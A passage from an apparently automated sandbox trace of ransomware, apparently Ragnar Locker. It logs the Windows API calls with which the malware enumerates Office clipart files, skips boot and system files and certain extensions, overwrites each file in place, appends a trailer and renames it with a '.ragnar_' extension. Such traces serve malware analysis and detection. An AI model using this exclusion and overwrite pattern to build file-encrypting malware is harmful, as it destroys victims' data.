ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2332bb00, ftLastWriteTime.dwHighDateTime=0x1bd4fa4, nFileSizeHigh=0x0, nFileSizeLow=0x6906, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD00141_.WMF", cAlternateFileName="")) returned 1 [0080.119] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.119] lstrcpyW (in: lpString1=0x1eb62e, lpString2="BD00141_.WMF" | out: lpString1="BD00141_.WMF") returned="BD00141_.WMF" [0080.119] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned=".WMF" [0080.119] lstrcmpiW (lpString1="BD00141_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.119] lstrcmpiW (lpString1="BD00141_.WMF", lpString2="autorun.inf") returned 1 [0080.119] lstrcmpiW (lpString1="BD00141_.WMF", lpString2="boot.ini") returned -1 [0080.119] lstrcmpiW (lpString1="BD00141_.WMF", lpString2="bootfont.bin") returned -1 [0080.119] lstrcmpiW (lpString1="BD00141_.WMF", lpString2="bootsect.bak") returned -1 [0080.119] lstrcmpiW (lpString1="BD00141_.WMF", lpString2="bootmgr") returned -1 [0080.119] lstrcmpiW (lpString1="BD00141_.WMF", lpString2="bootmgr.efi") returned -1 [0080.119] lstrcmpiW (lpString1="BD00141_.WMF", lpString2="bootmgfw.efi") returned -1 [0080.119] lstrcmpiW (lpString1="BD00141_.WMF", lpString2="desktop.ini") returned -1 [0080.119] lstrcmpiW (lpString1="BD00141_.WMF", lpString2="iconcache.db") returned -1 [0080.119] lstrcmpiW (lpString1="BD00141_.WMF", lpString2="ntldr") returned -1 [0080.119] lstrcmpiW (lpString1="BD00141_.WMF", lpString2="ntuser.dat") returned -1 [0080.119] lstrcmpiW (lpString1="BD00141_.WMF", lpString2="ntuser.dat.log") returned -1 [0080.119] lstrcmpiW (lpString1="BD00141_.WMF", lpString2="ntuser.ini") returned -1 [0080.119] lstrcmpiW (lpString1="BD00141_.WMF", lpString2="thumbs.db") returned -1 [0080.119] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0080.119] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0080.119] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0080.120] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0080.120] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0080.120] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0080.120] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0080.120] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00141_.wmf")) returned 0x20 [0080.120] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00141_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.120] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=26886) returned 1 [0080.120] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x68fd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.120] GetProcessHeap () returned 0x580000 [0080.120] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.120] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.122] VirtualAlloc (lpAddress=0x0, dwSize=0x6906, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.122] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.122] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.122] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x6906, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x6906, lpOverlapped=0x0) returned 1 [0080.123] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.123] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x6906, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.123] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x6906, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x6906, lpOverlapped=0x0) returned 1 [0080.124] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x6906, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.124] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.124] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x6906, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.124] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.124] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.124] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.124] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.124] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.124] GetProcessHeap () returned 0x580000 [0080.124] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.124] CloseHandle (hObject=0xf4) returned 1 [0080.124] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF" [0080.124] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF.ragnar_FD7BD9FC" [0080.124] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00141_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00141_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.125] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb983d700, ftCreationTime.dwHighDateTime=0x1bf148e, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb983d700, ftLastWriteTime.dwHighDateTime=0x1bf148e, nFileSizeHigh=0x0, nFileSizeLow=0x7114, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD00146_.WMF", cAlternateFileName="")) returned 1 [0080.125] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.125] lstrcpyW (in: lpString1=0x1eb62e, lpString2="BD00146_.WMF" | out: lpString1="BD00146_.WMF") returned="BD00146_.WMF" [0080.125] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned=".WMF" [0080.125] lstrcmpiW (lpString1="BD00146_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.125] lstrcmpiW (lpString1="BD00146_.WMF", lpString2="autorun.inf") returned 1 [0080.125] lstrcmpiW (lpString1="BD00146_.WMF", lpString2="boot.ini") returned -1 [0080.125] lstrcmpiW (lpString1="BD00146_.WMF", lpString2="bootfont.bin") returned -1 [0080.125] lstrcmpiW (lpString1="BD00146_.WMF", lpString2="bootsect.bak") returned -1 [0080.125] lstrcmpiW (lpString1="BD00146_.WMF", lpString2="bootmgr") returned -1 [0080.125] lstrcmpiW (lpString1="BD00146_.WMF", lpString2="bootmgr.efi") returned -1 [0080.125] lstrcmpiW (lpString1="BD00146_.WMF", lpString2="bootmgfw.efi") returned -1 [0080.126] lstrcmpiW (lpString1="BD00146_.WMF", lpString2="desktop.ini") returned -1 [0080.126] lstrcmpiW (lpString1="BD00146_.WMF", lpString2="iconcache.db") returned -1 [0080.126] lstrcmpiW (lpString1="BD00146_.WMF", lpString2="ntldr") returned -1 [0080.126] lstrcmpiW (lpString1="BD00146_.WMF", lpString2="ntuser.dat") returned -1 [0080.126] lstrcmpiW (lpString1="BD00146_.WMF", lpString2="ntuser.dat.log") returned -1 [0080.126] lstrcmpiW (lpString1="BD00146_.WMF", lpString2="ntuser.ini") returned -1 [0080.126] lstrcmpiW (lpString1="BD00146_.WMF", lpString2="thumbs.db") returned -1 [0080.126] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0080.126] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0080.126] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0080.126] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0080.126] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0080.126] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0080.126] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0080.126] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00146_.wmf")) returned 0x20 [0080.126] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00146_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.126] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=28948) returned 1 [0080.127] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x710b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.127] GetProcessHeap () returned 0x580000 [0080.127] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.127] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.128] VirtualAlloc (lpAddress=0x0, dwSize=0x7114, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.128] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.128] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.128] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x7114, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x7114, lpOverlapped=0x0) returned 1 [0080.130] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.130] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7114, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.130] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x7114, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x7114, lpOverlapped=0x0) returned 1 [0080.130] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7114, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.130] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.131] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7114, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.131] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.131] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.131] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.131] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.131] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.131] GetProcessHeap () returned 0x580000 [0080.131] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.131] CloseHandle (hObject=0xf4) returned 1 [0080.131] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF" [0080.131] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF.ragnar_FD7BD9FC" [0080.131] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00146_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00146_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.132] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d1cf00, ftCreationTime.dwHighDateTime=0x1bd4fa4, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d1cf00, ftLastWriteTime.dwHighDateTime=0x1bd4fa4, nFileSizeHigh=0x0, nFileSizeLow=0x2d74, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD00155_.WMF", cAlternateFileName="")) returned 1 [0080.132] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.132] lstrcpyW (in: lpString1=0x1eb62e, lpString2="BD00155_.WMF" | out: lpString1="BD00155_.WMF") returned="BD00155_.WMF" [0080.132] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned=".WMF" [0080.132] lstrcmpiW (lpString1="BD00155_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.132] lstrcmpiW (lpString1="BD00155_.WMF", lpString2="autorun.inf") returned 1 [0080.132] lstrcmpiW (lpString1="BD00155_.WMF", lpString2="boot.ini") returned -1 [0080.132] lstrcmpiW (lpString1="BD00155_.WMF", lpString2="bootfont.bin") returned -1 [0080.132] lstrcmpiW (lpString1="BD00155_.WMF", lpString2="bootsect.bak") returned -1 [0080.132] lstrcmpiW (lpString1="BD00155_.WMF", lpString2="bootmgr") returned -1 [0080.132] lstrcmpiW (lpString1="BD00155_.WMF", lpString2="bootmgr.efi") returned -1 [0080.132] lstrcmpiW (lpString1="BD00155_.WMF", lpString2="bootmgfw.efi") returned -1 [0080.132] lstrcmpiW (lpString1="BD00155_.WMF", lpString2="desktop.ini") returned -1 [0080.132] lstrcmpiW (lpString1="BD00155_.WMF", lpString2="iconcache.db") returned -1 [0080.132] lstrcmpiW (lpString1="BD00155_.WMF", lpString2="ntldr") returned -1 [0080.132] lstrcmpiW (lpString1="BD00155_.WMF", lpString2="ntuser.dat") returned -1 [0080.132] lstrcmpiW (lpString1="BD00155_.WMF", lpString2="ntuser.dat.log") returned -1 [0080.132] lstrcmpiW (lpString1="BD00155_.WMF", lpString2="ntuser.ini") returned -1 [0080.132] lstrcmpiW (lpString1="BD00155_.WMF", lpString2="thumbs.db") returned -1 [0080.132] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0080.132] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0080.132] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0080.132] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0080.132] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0080.132] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0080.132] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0080.132] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00155_.wmf")) returned 0x20 [0080.133] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00155_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.133] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=11636) returned 1 [0080.133] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2d6b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.133] GetProcessHeap () returned 0x580000 [0080.133] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.133] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.136] VirtualAlloc (lpAddress=0x0, dwSize=0x2d74, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.136] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.136] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.136] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2d74, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2d74, lpOverlapped=0x0) returned 1 [0080.137] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.137] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2d74, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.137] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2d74, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2d74, lpOverlapped=0x0) returned 1 [0080.137] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2d74, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.137] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.137] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2d74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.137] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.137] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.137] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.138] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.138] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.138] GetProcessHeap () returned 0x580000 [0080.138] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.138] CloseHandle (hObject=0xf4) returned 1 [0080.138] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF" [0080.138] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF.ragnar_FD7BD9FC" [0080.138] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00155_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00155_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.138] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfaaac100, ftCreationTime.dwHighDateTime=0x1bd4fa3, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfaaac100, ftLastWriteTime.dwHighDateTime=0x1bd4fa3, nFileSizeHigh=0x0, nFileSizeLow=0x57f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD00160_.WMF", cAlternateFileName="")) returned 1 [0080.138] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.138] lstrcpyW (in: lpString1=0x1eb62e, lpString2="BD00160_.WMF" | out: lpString1="BD00160_.WMF") returned="BD00160_.WMF" [0080.139] PathFindExtensionW 